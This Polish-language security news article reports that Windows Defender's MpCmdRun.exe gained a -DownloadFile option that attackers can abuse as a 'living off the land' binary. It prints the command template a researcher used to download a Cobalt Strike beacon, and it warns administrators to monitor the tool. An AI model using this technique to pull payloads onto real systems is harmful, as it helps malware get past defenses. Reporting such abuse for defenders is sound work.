Windows Defender zamienia się w niebezpieczną aplikację dla administratorów

Windows Defender w systemie Windows 10 to pierwsza linia obrony w przypadku ataków złośliwego oprogramowania, a także całkiem nieźle.

Jednak w jednej ze swoich nowych aktualizacji potężny program antywirusowy otrzymał nowe polecenie DownloadFile, które pozwoli każdemu pobrać dowolny plik z adresu URL do określonej ścieżki na komputerze.

Możemy nazwać to exploitem, ponieważ może być również używany do pobierania złośliwego oprogramowania, co odkrył badacz bezpieczeństwa Mohammad Askar, który opublikował swoje odkrycie na Twitterze.

W jaki sposób można użyć programu Windows Defender do pobrania złośliwego oprogramowania?

Pobieranie dowolnego pliku z zewnętrznego źródła na komputer za pomocą narzędzia wiersza poleceń usługi Microsoft Antimalware Service (MpCmdRun.exe) jest naprawdę proste.

MpCmdRun.exe -DownloadFile -url [url] -path [ścieżka_do_zapisu_pliku]

W swoich próbach Askar był w stanie pobrać sygnał ostrzegawczy Cobalt Strike, dobrze znane narzędzie atakujące, używając tego wiersza poleceń.

Nowe polecenie jest zawarte w wersji 4.18.2007.8-0 i nowszych, co daje całkiem niezły czas startu dla atakujących.

Zasadniczo ta funkcja zmienia program Windows Defender w LOLBIN (żyjący poza plikami binarnymi), nieszkodliwy plik systemowy, który można wykorzystać do złośliwych celów.

Na szczęście po pobraniu szkodliwego pliku zostanie on wykryty przez ten sam program Windows Defender lub przez inne oprogramowanie antywirusowe, jeśli jest obecne.

Z niezawodnego oprogramowania ochronnego, Windows Defender stał się kolejnym możliwym zagrożeniem, które będzie musiało być ściśle monitorowane przez administratorów i ekspertów ds. Bezpieczeństwa.

Jeśli masz jakieś sugestie lub komentarze, zostaw je poniżej w sekcji Komentarze.